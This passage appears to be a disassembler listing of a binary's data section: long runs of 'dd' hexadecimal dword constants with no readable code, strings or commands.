		dd 7FD0FA1Fh, 4CA81319h, 0B030060Eh, 0A600687Ch, 0DA3E6F64h
		dd 0FF7BF0h, 0FC139A86h, 4D91268Dh, 0F28E359h, 0E09E1FBFh
		dd 2DB4EEDh, 5FB832h, 0CAFC83D2h, 30F666E6h, 77488900h
		dd 0A38C52C2h, 98FA35h,	109B2EDAh, 8F5FC586h, 0AFAED100h
		dd 5B50B58h, 23300F06h,	0FC236953h, 6FC8B607h, 18008FF9h
		dd 1E154E32h, 0D13E37h,	8738C5E0h, 0B1835093h, 51C0B900h
		dd 0C6D29B8Dh, 1DEE0Ch,	0A2AD9A53h, 3DDF2E89h, 467A0D00h
		dd 3A33CF8Fh, 74CD007Bh, 5C138B3Fh, 0E80E9362h,	0A0082DD8h
		dd 45EBFB5h, 7B4EB801h,	95A200B4h, 0BE79E646h, 4CEADF6Ch
		dd 0AC09E8E8h, 92D0625h, 0A5BB8096h, 75DC349Bh,	0CEB6002Ch
		dd 6FF0C392h, 0E300B885h, 21D37305h, 77291807h,	0C2623A55h
		dd 0E2E9D82h, 1FF6FFFh,	0B2A61224h, 873C1180h, 0C3DFD48Dh
		dd 0F8883409h, 0B0ACE0FEh, 5B6800AFh, 64351726h, 3100B90Dh
		dd 9187641h, 47BCA9h, 6CAD2ED9h, 0D792847Ch, 36779BA0h
		dd 5D24900h, 0CF74B4B6h, 942F4D6h, 61141D45h, 57F81C60h
		dd 0A2979300h, 360BECBFh, 477707h, 0D9CE69BEh, 722BF464h
		dd 0CD8C820Eh, 326507D1h, 87CAE1B0h, 7D6803F5h,	38C38E0Ah
		dd 9B4E40E0h, 90DD640h,	7C9243E8h, 0A6D2E0A0h, 0D95CF4A3h
		dd 514B1E2Dh, 11E59440h
		dd 0B561A67h, 0B7992786h, 0EB1B1C00h, 40B8D9Bh,	105426Dh
		dd 7F9CC64Ch, 671D4C20h, 0FFD62958h, 9F848D6Bh,	225DC255h
		dd 0E67CF860h, 0D904B57Fh, 50AE4A08h, 1BFFDA81h, 6C32CCh
		dd 6DF72C82h, 4EECCA57h, 0D6F42200h, 845FC8BDh,	1A37033Ch
		dd 3AF2EBA8h, 71F7D4A1h, 855E8F3h, 6710DF09h, 588040C1h
		dd 37F00188h, 0AB4F1F02h, 0C3A4F896h, 2EC91E00h, 8A54C479h
		dd 2CA23892h, 2C6971A4h, 0E7AB8018h, 6D5DC895h,	98A32D0Fh
		dd 3A2EE213h, 6FA08FD9h, 0C3D86189h, 0A86453E5h, 1D740048h
		dd 43CC9071h, 0AD0046B3h, 91A84BC6h, 1FCB8CDh, 0A156075h
		dd 4089D558h, 61B0339Ch, 0B4008B7Dh, 382B9E63h,	0D1A049h
		dd 6C2D7AD6h, 578A0568h, 0A2772109h, 0A0EC0FCFh, 372C10ACh
		dd 99780006h, 0CE72C481h, 7100179Fh, 7FBC36D8h,	3DE2F585h
		dd 66808E8Ah, 9683C0Bh,	3800AA5Ah, 28F7609Bh, 0FE040Ch
		dd 0EEA6CA2Dh, 0BE8C1BE8h, 0A9AB5D01h, 461AE2F4h, 0CC2CFCh
		dd 1FA3F0C7h, 1E23EE69h, 0E8E8D7F9h, 4C09BF88h,	802031B0h
		dd 0F87B4B0Dh, 0A11F1323h, 40DC1FF2h, 0A0146D71h, 0BC0010B4h
		dd 0E87BE612h, 3BA9939h, 8BDC2AD0h, 74E05B4Ah, 7101F6B7h
		dd 5F270ADDh, 717053A4h, 8FBD0088h, 1C164DF3h, 6A0019CCh
		dd 0A8836EB6h, 9FE78Ch,	57F40EFFh, 0DA1E07E8h, 0C1CAC00h
		dd 2E446525h, 756EA09h,	0FCBA128Bh, 0AAB8BE79h,	0AF02761Fh
		dd 43DCBB67h, 95AFE047h, 8797011Dh, 0A72B3555h,	3282E8CFh
		dd 5D103100h, 0AC54762Eh, 20630087h, 1EDFB1BCh,	2C00B944h
		dd 5DA9F73Bh, 0EE7FD5Fh, 30D1B8F6h, 9A3664C0h, 0BA179FACh
		dd 88908FD2h, 480371C1h, 7D259C0Bh, 51B73468h, 10B49E24h
		dd 68AE1500h, 0D2285CD5h, 70808328h, 4CC880DAh,	3D01C21Eh
		dd 0FBEA62CAh, 38307F54h, 65040F75h, 120DB34h, 0AD32F536h
		dd 0A3211912h, 9466000h, 6080B416h, 0B2E310A0h,	0A50041CAh
		dd 0FEA7A311h, 30FD66h,	2EB9FCDh, 59D0FC77h, 0C8B2000h
		dd 96EFF72Ah, 56A1022Eh, 94D2C01h, 73076C70h, 0FA8E5824h
		dd 21313480h, 198C0055h, 4F66E7A9h, 0CCB8823Ch,	69156A00h
		dd 0EE7334F7h, 0E884145Ah, 448DB53h, 0B576017Bh, 2412F26Bh
		dd 473460CAh, 5498E5F2h, 0FA234D00h, 0EE96E098h, 44EB0002h
		dd 0AB2D3F35h, 0B23BC11Eh, 3C3E82BDh, 5867BF26h, 0D0AF60C8h
		dd 7A0BE29Eh, 0FB60FF07h, 51FBB0Ah, 84130923h, 0B31D8300h
		dd 0FAEFCAh, 0CE404728h, 0AFF5B1FBh, 0D7342D00h, 0BAC6B9E6h
		dd 8D560F89h, 0A160F4C1h, 0DF485407h, 1721315h,	779800F0h
		dd 0D042F7B0h, 0D66B000Ch, 5E826727h, 3900EE8Ah, 524A1404h
		dd 0ED6CE2h, 550520B1h,	0A7EA8144h, 9D08D500h, 0D8E36E2Ah
		dd 75A07553h, 2DA8C17Ah, 2A9263C8h, 3AD2B042h, 76C05130h
		dd 63A4FC23h, 24A39BD2h, 0B43E22A0h, 0DA602295h, 833C565Ah
		dd 0AA3D1D43h, 0B4A36DEBh, 5DB57C8h, 4FF110A3h,	0D039865Eh
		dd 0C258E073h, 0B5C2D108h, 7B7C00F8h, 449DF628h, 6548B200h
		dd 7581C53Dh, 3CEF30F1h, 15C9FF18h, 0CA85A83Eh,	0EE13AC00h
		dd 4084C470h, 68A4BC75h, 15F9C10Fh, 89F18EE5h, 0CC46E2h
		dd 0BA9D244Eh, 43C78578h, 0F5FC9B1Dh, 808195C0h, 765F1214h
		dd 91EC0C45h, 1CD10E5Ch, 632CCDF0h, 8B01E8E0h, 9E3DFD48h
		dd 30DAA3D0h, 2229B505h, 400317ECh, 0C29280CBh,	0A328E3B6h
		dd 0F72127D3h, 624BA260h, 73F491C0h, 0F837489Fh, 0ED0748FDh
		dd 41E80173h, 1DE1CBD3h, 0F80E2FFAh, 2EE580DCh,	9D8CC328h
		dd 4EA65083h, 7BF4900h,	7279C64Bh, 0A00197B5h, 0C0C58ADEh
		dd 0C20069A9h, 4655CD53h, 3780E60h, 0F10B078Bh,	0E0C8376Ah
		dd 91FC264Dh, 0B5009EE6h, 62304BD0h, 5A5D20h, 9A2B8187h
		dd 2C4884B7h, 8D586C00h, 63DB4625h, 0EA5A1715h,	0ED91DA9h
		dd 9F205718h, 0C68965Fh, 9A6A7900h, 66940DA3h, 12758Eh
		dd 2B98640Bh, 0FBD6EC31h, 82195B00h, 12A1A022h,	71941C6Ch
		dd 0F99C038h, 7273B052h, 98971A00h, 3BFF1CA4h, 258C008Dh
		dd 0FCD0DC2Fh, 86001954h, 1CB1B532h, 794776h, 2069781Fh
		dd 7C909E52h, 8301E0F2h, 174CD7EAh, 982C8BE6h, 0F28049BDh
		dd 18D4049Dh, 1069324Eh, 184E76F1h, 0E052C04h, 5FE5AF44h
		dd 0F20C9F90h, 0F1291A1Fh, 0E7292284h, 6E113442h, 8DD211Bh
		dd 2090F8A2h, 481D1284h, 0FAD842C9h, 72215C24h,	11B51121h
		dd 12FEFC11h, 23F01048h, 8708A189h, 106412F9h, 8D89294Ah
		dd 0C9443608h, 0E4228490h, 1179422Eh, 8C21CB17h, 902FD508h
		dd 44AD8865h, 31FA21B8h, 0C0105112h, 8D489CEh, 3D3444DFh
		dd 0CED188h, 76470E67h,	9EA39D1Bh, 782B33Bh, 854F290Ch
		dd 0D5D9C270h, 387421h,	45D1BE8Dh, 0F27E0F01h, 0E9366500h
		dd 0CB41D09Bh, 0D57117DFh, 0EE4800FAh, 271CA89Eh, 8A693500h
		dd 0EB6BFB88h, 0A4990A7Bh, 128D0515h, 80C884E8h, 0B7BAB6C1h
		dd 6990F303h, 0B8D59D72h, 1AE41F2h, 0DCC9FD1Ah,	60780795h
		dd 3F003A7Ch, 529DB666h, 72BF22h, 0A5F37A73h, 6E5957D8h
		dd 1361E50Eh, 1F1A6151h, 34C0D59Ch, 0AD6B0017h,	9254FD6Fh
		dd 2F01B2FEh, 75213F22h, 0A3FC4437h, 46E03B6Ah,	9CC74180h
		dd 0F4737A6Ch, 427C400h, 0F2977624h, 14A60917h,	7C200960h
		dd 8531490Dh, 0C1D7B001h, 8895B69Bh, 5EA005E4h,	0FD880DB3h
		dd 5886C78h, 0A3B42139h, 84FFD300h, 7D602ED5h, 6B521E23h
		dd 8360094h, 92B303E4h,	15350203h, 508EC849h, 385F4978h
		dd 0F50093F7h, 59DD6F7Eh, 2E0E871Fh, 7911B8B2h,	2A5899h
		dd 0B1A99A38h, 8000BE6h, 4044334Ah, 926D12h, 0D4CBA693h
		dd 9AE5B68Bh, 0ABE47100h, 8D78FD49h, 2DE60104h,	0F5E899DDh
		dd 8AB48F98h, 21F1ACBBh, 741700CAh, 5FAD9293h, 9F007EA2h
		dd 3532E1FEh, 75FA755Bh, 0CD2E1A03h, 185430C3h,	31251A04h
		dd 0BDEE0C80h, 0CF5D243Fh, 0D1120004h, 85B3623Ch, 0EA96CE1Eh
		dd 0D9F772C0h, 3D6E5B44h, 9100DD05h, 0E2710AE3h, 0D28C061h
		dd 1800F453h, 7928F906h, 0ED7802h, 928F6BF8h, 46FBAAA3h
		dd 2F06D200h, 89590570h, 71A7EE9h, 0EA67A07h, 0CB2010A2h
		dd 900EB108h, 371E8CFh,	7BB87E4h, 6CE12419h, 5EA030B7h
		dd 21001413h, 0AD95CE2Fh, 0F00EACEFh, 1DC22847h, 623402BCh
		dd 8A9B0533h, 323E7CD0h, 0A017F25Fh, 48040F5h, 8D090Dh
		dd 0B2E86AFCh, 0C34E1965h, 0C1891200h, 2C2FBE4Ah, 0B660475h
		dd 80F0A19Dh, 0FCA23AACh, 170340Fh, 166E9F37h, 7FD88F00h
		dd 7F6BF0D9h, 92B80052h, 6330078Ch, 0DA0EB0DFh,	0A00C1261h
		dd 1156A2E3h, 0F7D0270h, 0A8A9582Ah, 0FFCA3840h, 3DDE2D00h
		dd 8A2C8ED0h, 1496EBh, 37234EFh, 0BF70815Fh, 3CCB2700h
		dd 99A0E210h, 50E473CCh, 0AE01Eh, 615B5D38h, 9B89C8A1h
		dd 0C671204h, 808051A0h, 1F98A05h, 1044DD69h, 0D23DD9D1h
		dd 1A6ACA60h, 2DE02750h, 0AC344114h, 6DC203DCh,	0CE08BFBAh
		dd 0E87CA059h, 0A18200E3h, 0A4D37456h, 0A8C0D8BAh, 25C08D0Bh
		dd 5C240975h, 6C68F68Ah, 0E7008E4Fh, 401BEAB4h,	81AE52h
		dd 66DBDC6Fh, 0EB702DF2h, 0E3844301h, 0FE1FAD7Eh, 0E0C69AD5h
		dd 873848h, 0A69DDDAFh,	50EB3A37h, 6CF25D09h, 0DCEC61FEh
		dd 0A6D1AC0h, 16C75A1Dh, 0D10B89E0h, 309B870h, 0FDE875h
		dd 85F7BC0h, 0ACC53F16h, 85AA0280h, 0EC45E52Ah,	0D40A7C28h
		dd 24869805h, 0CC00E450h
dword_4B185C	dd 97EBCC0Bh, 80870021h, 0F5A3E151h, 3F02B376h,	22DF1AAh
		dd 9F74615Fh, 0D5DBE4h,	6E5601C3h, 0A235AB1h, 88552200h
		dd 499E86C7h, 0DD850006h, 0BE1BD48Eh, 2018A5Dh,	0F9DA1C39h
		dd 0AED0ACCAh, 0F8943CABh, 0C7FAF780h, 0BCB5B365h, 5CBB2500h
		dd 8C9EFC40h, 0D4A300CEh, 810863D2h, 0FB002C86h, 3251A4D9h
		dd 6E8B48h, 0D426B3FAh,	0DD8AB0A1h, 0BC0C4F00h,	0DA7B443h
		dd 88B10BF0h, 4723CAh, 2B0DA079h, 424CBC40h, 265B0B1Ah
		dd 3FBC8FF7h, 0BE529C1Eh, 95CAD380h, 0F4A704C1h, 5A590301h
		dd 6987A353h, 0C08F03Fh, 4B7C9500h, 803C4361h, 0C46800FDh
		dd 2B9E4D3Bh, 60005FD6h, 10425865h, 0B63F2135h,	0A84480E8h
		dd 0CAD8E890h, 16C44800h, 0BF6B9C4Ch, 5CED0977h, 78C441Dh
		dd 991C454Eh, 58015F1h,	0B42DC608h, 12AC0079h, 5DAB98B5h
		dd 521D030Eh, 0FEC075C5h, 491C6106h, 0B2152F1Eh, 0EF109040h
		dd 9A3F5800h, 6EF3B477h, 16C9CDFh, 5C819921h, 6A3AEC8Dh
		dd 1865F412h, 9AC20E0h,	3C7E0229h, 0D603E050h, 376B900Bh
		dd 0A847BD96h, 83B831C5h, 0F941D59Ah, 80352B90h, 9271F003h
		dd 98672FFAh, 12E9B175h, 1E493A25h, 23468094h, 8B2BDF5Ch
		dd 9CBF2101h, 0CD9F8F5Dh, 0ED72C8h, 54AD883Ah, 73C228F7h
		dd 0C8E1C9EAh, 2F009208h, 40A66F31h, 3985996Ah,	1034798h
		dd 50B57BF3h, 5FE62DC0h, 31568700h, 96244F0Fh, 0D6F645h
		dd 27BE57D9h, 362B13B3h, 1D51E700h, 0DCF0921Bh,	874B0061h
		dd 0CE280F44h, 913990C3h, 0C4668021h, 0BA69253h, 0F0FF2DEh
		dd 0B3489E80h, 0A5BF5581h, 8068C2h, 6426C80Dh, 3D4EB610h
		dd 1C84031Bh, 0E061BB4Ah, 3B001A38h, 0AF82833Dh, 2AEFC6h
		dd 5867EE47h, 0FFC078FEh, 1E59600h, 0E062F495h,	0D29D5CAAh
		dd 810AFB00h, 27B5E2B9h, 9E6D240Eh, 0FDA9C513h,	0AA320880h
		dd 531C00F4h, 0BC8B43DDh, 0D901A6D5h, 5D85F9D0h, 40800EFDh
		dd 2611B688h, 1E26A569h, 0FE17348Eh, 361A4004h,	4C8D34C0h
		dd 9F883F83h, 0F903603Ah, 9C2F517Eh, 4F840CE8h,	0CC75C200h
		dd 45676B4Bh, 7076F3h, 78DF562Dh, 5C0881F2h, 0D2998400h
		dd 0EF7D06D3h, 60C6006Ch, 1998B89Bh, 2E005677h,	4BC8AE54h
		dd 3CF26B18h, 72BD1F87h, 0C79CC300h, 0D8A4B7ACh, 0E7481900h
		dd 6925FA60h, 84A70029h, 0BF100EA9h, 6801CF56h,	70033313h
		dd 24F4F762h, 9FDF00B0h, 61507F67h, 6E031992h, 2ABB79BCh
		dd 0D521B01Dh, 0CDBA0491h, 0C0A2F87Ah, 1F2C5FCAh, 59C88E00h
		dd 566A21D0h, 0C27A02FCh, 300B60C5h, 0AB35DF60h, 0BDBE9B07h
		dd 74A04340h, 131A1820h, 0E4A40F41h, 4F027510h,	0F4672B68h
		dd 0BDB08FFDh, 1DC15D40h, 0B151E2h, 4D1108EFh, 668DAE25h
		dd 17DADB00h, 0A204E77Ch, 0F66300D3h, 9381B428h, 0C83E5DF7h
		dd 37718008h, 0B182E5E7h, 525500A6h, 14FBB626h,	0D0006273h
		dd 0AE694602h, 1E633FE4h, 4BCD82B3h, 0DC80381Dh, 0F4C4456Dh
		dd 0B293501Dh, 2105F65Ch, 880B4A7h, 388F9CB9h, 7F00CDCCh
		dd 0DAB2D23Eh, 0A100A48Eh, 1C17FA8Dh, 606F13Fh,	0EB483C71h
		dd 7800211Fh, 1A83A786h, 98A570ABh, 0D7CD0033h,	0EC4B23CEh
		dd 8E01794Dh, 5E113EACh, 53715D68h, 0CD0430h, 0B2A4DD8Ch
		dd 1B2F34E9h, 0FC2E4F25h, 220C00B1h, 601F031Dh,	80009C90h
		dd 0F7DED7BEh, 0EA4B26h, 92E44E53h, 1C99FCCBh, 32633500h
		dd 6871A528h, 0CE3D0006h, 9FB2B401h, 157A22AEh,	80CA5914h
		dd 122F3FFDh, 9C02E405h, 0E45B0F5Eh, 41A8006Ch,	0CA9BB9B5h
		dd 5006B2Ch, 7A47329Fh,	385070h, 0B4E5A2C8h, 11AB7CF5h
		dd 2EFF1C05h, 78B030C1h, 92601D63h, 0FE11B086h,	88014BE8h
		dd 0AF32A2D2h, 0A0472F4Ah, 80E382A2h, 511F05D0h, 0F4810944h
		dd 0B780C6BFh, 393B092Bh, 0EC490302h, 0E0879911h, 0FC210h
		dd 0C58A9664h, 0A2B901F0h, 2FE5A377h, 9D68B040h, 131665E8h
		dd 0A01BA548h, 0BE005F24h, 0ACF36D4Bh, 283537F8h, 58AC6373h
		dd 123FDCE4h, 9EE87A80h, 0A68FE2B7h, 25100F07h,	0DE918953h
		dd 2CC9D9DDh, 822420h, 13FE49D5h, 0DA71F642h, 0DC9FED07h
		dd 6D615745h, 0AC40E3D1h, 3BAC92EAh, 42048C15h,	0E8032B9Ah
		dd 26783BDCh, 0DF00933Dh, 83121AD0h, 5D660933h,	0C8597ECEh
		dd 0AB8D4B02h, 0C0A480D7h, 6A5CD91h, 9D9B102Bh,	0C44B19C7h
		dd 3F0C83h, 0C1463511h,	97F8DAB7h, 0DB75BA16h, 21E44CE5h
		dd 0A6B0106h, 7872F5AFh, 24DD6008h, 0C98E9000h,	9CF54DFh
		dd 66D00A6h, 48C273Bh, 0C30D61A4h, 10385F9Fh, 21BC30h
		dd 28F3651Ah, 543CEF44h, 40E15200h, 3BC7D1BFh, 30F60068h
		dd 0BD8F7065h, 0B013159Ah, 44402D26h, 6D2F0959h, 0A272718h
		dd 401E1444h, 6384744Bh, 1CC0D37Ch, 2FBD9420h, 2880AF7Fh
		dd 0F1BA4350h, 6E6B850h, 2F20F400h, 23827D12h, 64F55CCAh
		dd 0CA2FF26h, 79CBD4Eh,	6A380690h, 0FD4EE0EBh, 7432F59Ch
		dd 0CC8200EDh, 9E197D89h, 4B2C3CD7h, 9F004B71h,	0ED94C1C0h
		dd 1D049012h, 83886539h, 0B85FD423h, 352AB3F0h,	58592Fh
		dd 4846EC44h, 3F9876E4h, 1980300Ch, 7FF759E1h, 0DF0293F2h
		dd 45C07B06h, 3D2CE073h, 0B1AE0FB3h, 0F080B0C7h, 5A28DDA4h
		dd 1E636D0Bh, 0B3FC000Eh, 47CB0Ch, 0B1F9582Eh, 3754D7D2h
		dd 0A7F3AC01h, 0CF7952Dh, 4703E0h, 9A6A18A4h, 0FAC188D8h
		dd 0FD091207h, 5C11D1D4h, 2ED86DF7h, 9DB6039Ch,	36D94E59h
		dd 0D85A68B8h, 7D008EE4h, 0AAF321D5h, 982ECC25h, 63503838h
		dd 4BF25B85h, 0C4AC77h,	2436211Ah, 4C0E43F6h, 7203BEF0h
		dd 67C364E7h, 36D891A8h, 8D78745Ch, 0ECFC68C1h,	6902007Ch
		dd 0C41DBE4h, 501321F9h, 0E900B7B2h, 0B3A79B47h, 79090EF4h
		dd 0F3E07BECh, 690145D2h, 0BAF66E00h, 8AA53997h, 53DF30E4h
		dd 3D0C7078h, 289B0A00h, 9C10E56Ch, 0D054011Dh,	0BFF7C0FCh
		dd 9290304Dh, 52F3DC07h, 0E200ED90h, 98D1DE8Dh,	7ECBCF4h
		dd 309371EEh, 7481BFB9h, 69225B00h, 0A18E04EBh,	0A0A09F5Ah
		dd 8B6B4911h, 0C600D9F6h, 42DEC5E4h, 3D7AB4h, 0BCA3A56Ah
		dd 449B3E03h, 6984880Fh, 5BDE029Ah, 59EAE028h, 33D30381h
		dd 90422E0Fh, 0D07A8DA0h, 4380CCA0h, 2631830Fh,	5B2AC015h
		dd 48FEB4Fh, 0DB89E8B8h, 45B89016h, 0FF2E79CEh,	7F006969h
		dd 0C06FC6C3h, 3F160025h, 0FEA57553h, 0F0D2F270h, 0CC1E5307h
		dd 6CDD58D0h, 4C4E02F0h, 3B075C28h, 0A40054D6h,	0F968AF1h
		dd 0A5C3007Eh, 0A61EBB84h, 2005295h, 20F0F62Dh,	2C4FD9h
		dd 3EB9DB40h, 0C6B36F49h, 6BC17525h, 5A2EF87Ch,	0CF90095Dh
		dd 8C50108Ch, 5B123300h, 0F8484DEBh, 58DB3998h,	0ADFD0F00h
		dd 0C6A29070h, 0B524640Bh, 0DDB400E4h, 3E8F7Dh,	0FB9A6239h
		dd 9CB4674Eh, 0E400FF4Fh, 805AC0ADh, 21491ED2h,	60B5C4F4h
		dd 0E9CACEEh, 0CA6939h,	0D256EA63h, 46830373h, 0ECE5BF22h
		dd 4DC43800h, 28B7F9D5h, 7F441F06h, 13DB6EE7h, 96944117h
		dd 0D80786C5h, 3D046D09h, 6E481A61h, 0A38D0CC0h, 44C0092Bh
		dd 58986202h, 2C9E0E30h, 355BE180h, 496F3C3h, 0C9EC1EC1h
		dd 14CC49Fh, 51FD49ABh,	23E6CC6Eh, 0CB0008E0h, 591B6626h
		dd 78EED78Dh, 2452B07Bh, 3D42DEC0h, 2EC9D301h, 0DBF28748h
		dd 261362C0h, 27730300h, 37148DB0h, 396F8E3h, 0BA1BD412h
		dd 1DC086FFh, 2F07582Ch, 4AC7AF53h, 0F3C329C5h,	0FB7AD83Ah
		dd 0ACB03Bh, 0B2250152h
		dd 3D7010AAh, 50794C00h, 0CD0B308Ah, 1C5500F5h,	1348BC07h
		dd 0EF03AC38h, 0A0146D6h, 2FD2B07Dh, 0A2F70098h, 0BBFF946Ah
		dd 0C8E1B1F4h, 8514674Bh, 4AAC64BFh, 9701B4C0h,	0CAAB0086h
		dd 0F2432EF3h, 0FA005C6Bh, 92C3D47Ch, 910509h, 0AEDC66C8h
		dd 0FF521561h, 0B5850E00h, 202BB9E6h, 0F9A0571h, 80E7A5A1h
		dd 0F8AE3EB4h, 6003FDEFh, 430F4F50h, 0CC91E3h, 96D8754Dh
		dd 0D0DD5081h, 4E2773B1h, 5C48073Fh, 0A259108Eh, 6023B16h
		dd 7033014h, 50D08720h,	0FBE0F037h, 6B208ADh, 5712D798h
		dd 0C827D067h, 1EEC61F6h, 6C407068h, 0F4410734h, 50FB5B5Dh
		dd 0FE4039DCh, 0F9267500h, 66B7E96Dh, 18039F1Ah, 0F2C8B882h
		dd 2D615877h, 907696D1h, 25001C72h, 56E3ABFh, 8D00ABC4h
		dd 80EF9F7Bh, 0B51F1h, 733CC1D2h, 3BC8453Ah, 0F4A7AF1Ch
		dd 6A1B5880h, 60EB79h, 8D6E63C7h, 0AC6D3124h, 0B590CC00h
		dd 50F4B82Ah, 0D73609D5h, 40101764h, 4F2E7354h,	0E0034074h
		dd 0A801CA97h, 64A9F64h, 39C4BEB5h, 7E033853h, 1005AC7Fh
		dd 6499884Eh, 5AFC01DBh, 0C43D2F30h, 42A03050h,	9A323100h
		dd 50CE838h, 0D3CB0029h, 83D0071Eh, 0BF7DA3E0h,	182A2F00h
		dd 87829342h, 0F5D502D4h, 32121F1Bh, 0FB9098E3h, 0CA48F957h
		dd 7A100038h, 7B25532Ah, 73CE00ABh, 6C69406Fh, 3300FD0Eh
		dd 0FE879450h, 7CE472h,	0BA8AA682h, 2912B207h, 917EE600h
		dd 5B1C781Bh, 33033DD8h, 917A480h, 86151A6Bh, 0A1B5C400h
		dd 0CFCA4639h, 0DE131FAAh, 1BC9410Fh, 0CD712E5Fh, 9F6BDCA5h
		dd 801C5D38h, 0E62605F8h, 0A04DF7h, 577C283Eh, 74D92164h
		dd 7B007CB8h, 0E12E5DEAh, 5B7AD192h, 3560C08Eh,	0EC079FABh
		dd 19084FDFh, 96A96160h, 3BA00BBh, 704A2005h, 7207C3B2h
		dd 0FD7EDBEAh, 0B5FFA10Fh, 1C8181Ah, 716416D0h,	43C4873Ah
		dd 82C03E79h, 8D2436FBh, 0F0003832h, 7CDC5ADBh,	624300F4h
		dd 0DF8F8ECFh, 0DA0012E9h, 0D3963A2Eh, 58385B0Ah, 70188FF0h
		dd 6D4D6041h, 2F07C600h, 0C8AD8499h, 49F7F5Eh, 4B273036h
		dd 0CCACF6h, 0FE8D15AEh, 12F5B343h, 0C82EC90h, 0FD990DC0h
		dd 1C794B00h, 0ACB93778h, 1FC90FB7h, 0FF4048A2h, 8DADBD06h
		dd 0E9112903h, 0B0E0E19Ah, 513D14h, 63F2A777h, 0A5D0B3B5h
		dd 66CFD200h, 4327ACFEh, 0ED3ECAFh, 9737A685h, 0C42883F2h
		dd 56D1A9B0h, 0B4384600h, 0C6CAB2ABh, 8C4E02A3h, 325EE44h
		dd 21E42CC8h, 0B4ACBE4Bh, 639EEB00h, 3CAA7214h,	21649A27h
		dd 55F42058h, 6E008428h, 0B01C4FBBh, 0DE90B5F8h, 2D6A951Dh
		dd 51034CDCh, 82D98C42h, 0D6B8C03Dh, 0CB640053h, 0B0D4C93Ah
		dd 307C8776h, 1E4482B7h, 18265762h, 1F30F8EEh, 1BEA5881h
		dd 0DAF6139Bh, 0DA4A0AFh, 7932D430h, 0C0E35FCDh, 5A09FC19h
		dd 0D625BF82h, 0F0384334h, 3FAE7024h, 0A4007D4Ch, 0F8AAE7BCh
		dd 0C8A02E7Ah, 0E6078C58h, 531CD0B6h, 9BF31580h, 31490DFBh
		dd 0CC540DCFh, 498E376h, 370321E0h, 1CB34CFFh, 79B14C2Dh
		dd 76230177h, 0C879FA4Dh, 4038D915h, 0D0CF61A4h, 0E25F0E7h
		dd 0C421742Eh, 6FB00518h, 0C84A61BCh, 6F1D43C0h, 5A267860h
		dd 2E7F2D2h, 57140D4Ch,	607EEF92h, 0A739063Ch, 0A317F07h
		dd 91ADE654h, 802A9E84h, 0B2211F95h, 0D81E79A1h, 5843F27Fh
		dd 0B8A2E9B3h, 89347h, 0AFB897Dh, 0E1E89B60h, 0A99C1700h
		dd 553A8390h, 0DD7300E6h, 9141048Dh, 150212E5h,	0C2683C24h
		dd 13344E62h, 0C3FD46D4h, 0D09E2E04h, 8B980301h, 47D162EDh
		dd 5D6FEC49h, 0FC806584h, 313AFFB9h, 0E096D27Eh, 0BD578600h
		dd 5E7BF0D5h, 644C90A8h, 5200CB47h, 0A5B93B7Ah,	0F93E4B0h
		dd 0C3E3DB1Bh, 36DC3A40h, 0BAE82360h, 19F0E507h, 0AB2C0Dh
		dd 0C2A5B226h, 0AB1C30E0h, 9E7E8F28h, 0F373E23Eh, 0FD641F00h
		dd 82290228h, 88DA60E7h, 0E3746AB1h, 97C66604h,	40AEC9BAh
		dd 69F390F0h, 8F0549E1h, 9E5194D6h, 0FB4A8441h,	0C450B1CDh
		dd 0BCB5D70Ah, 0CE12068Ch, 490019ABh, 0FC85145Dh, 0A2901h
		dd 56FEC43h, 234B2D90h,	0AD698365h, 8FFF9803h, 0CC611CA7h
		dd 9D5DC0C5h, 36CD872Bh, 184A5C05h, 0B0C007DDh,	0E285F2h
		dd 31C4BA51h, 0FDDE0170h, 8721B900h, 1B907372h,	33620420h
		dd 0D051584Fh, 867122E0h, 923F0C00h, 0CE782A3Ch, 494BA9h
		dd 108B56F0h, 6203EBACh, 0F98CC399h, 0CDA3C8F0h, 0D48001EEh
		dd 492973F7h, 77CEE020h, 0FFE56B0Bh, 0BD0083F3h, 0EF96B0C2h
		dd 461F031Ah, 21C48917h, 38080398h, 77887900h, 0C0EEF9Dh
		dd 0AAA00329h, 0C55CCB82h, 2EA539F9h, 9CE4F885h, 440D0F8Ah
		dd 0DCA7EEA2h, 0B636E009h, 0D200CCBFh, 0C65A7803h, 0C487B9h
		dd 55EA3E23h, 0AC7BE358h, 8076CB3Dh, 62BB6607h,	0A027F482h
		dd 5F0597F4h, 0E188C775h, 0DC65FAA3h, 3776F743h, 0E2A29E00h
		dd 7003A08Fh, 3F040293h, 572428DBh, 0A4AB9450h,	27D8B9ABh
		dd 0CE174CDCh, 9100C19Eh, 1C393E8Eh, 0A0720Fh, 848103E5h
		dd 541EB245h, 55325F02h, 5E31780Eh, 0F430139Ch,	0AB02DF1Ch
		dd 1CBF2111h, 1F3880DDh, 71F0AFh, 0F2870C64h, 50206EFDh
		dd 8117837Ch, 4CC0307Ch, 3DE14852h, 0E98B5DC0h,	64A0A254h
		dd 91A8B23Dh, 6FDDE809h, 0EC4820D3h, 24664A39h,	81349B1Ch
		dd 41711864h, 1E118B6Ah, 46E980D0h, 0D8747Eh, 490888C3h
		dd 0EF19C7BDh, 0D9753400h, 6D3C7D2Eh, 92C626A0h, 402C1DA8h
		dd 0B1BD3B3h, 550128CEh, 54C53E36h, 0EBCBEFC0h,	0BFB18F21h
		dd 98318DBDh, 61D4F520h, 528379E0h, 8817E06Dh, 0A7B7C200h
		dd 0CCA88009h, 24D32FB5h, 0E13D4860h, 0BE221B02h, 5E7738F8h
		dd 0DC190E24h, 14D4A032h, 80695638h, 0D0DD9B80h, 59A2724h
		dd 0A89C4A5Ah, 0E53480DCh, 0F20E9E1Ch, 0A0CDE297h, 0FEB04011h
		dd 406FF516h, 331D9200h, 0B8B18FCBh, 0B8FF2D0Ch, 16B2E69Fh
		dd 28D9BEAh, 0D3E5A0ACh, 0C175458h, 20F49473h, 0FB920315h
		dd 83AA1C0Fh, 0AFECE90Ah, 0A80AC3Fh, 3375BC7Bh,	28041C71h
		dd 3A3568Eh, 0A6F8435Ch, 9ECBBB0h, 0CA49313Fh, 64BEC6B0h
		dd 30FF6195h, 0B6D3127h, 5121E581h, 507140A1h, 469C60ABh
		dd 0A7605707h, 9AB0DBC9h, 0F2A1D2C6h, 0BF7C397Fh, 0A58165h
		dd 0CE8C8624h, 9F030EFCh, 25B03640h, 9556F037h,	0F6DD0E6Eh
		dd 280857Fh, 483F5104h,	58EBEF2Ch, 5060A997h, 4C8B7DEEh
		dd 0B317481Fh, 0D2D10AC5h, 0DE231E84h, 7AD60034h, 8AE95ACDh
		dd 28B85D60h, 0EC199D9Ch, 0D1F2019Fh, 0C5ED1C44h, 0AA3887E7h
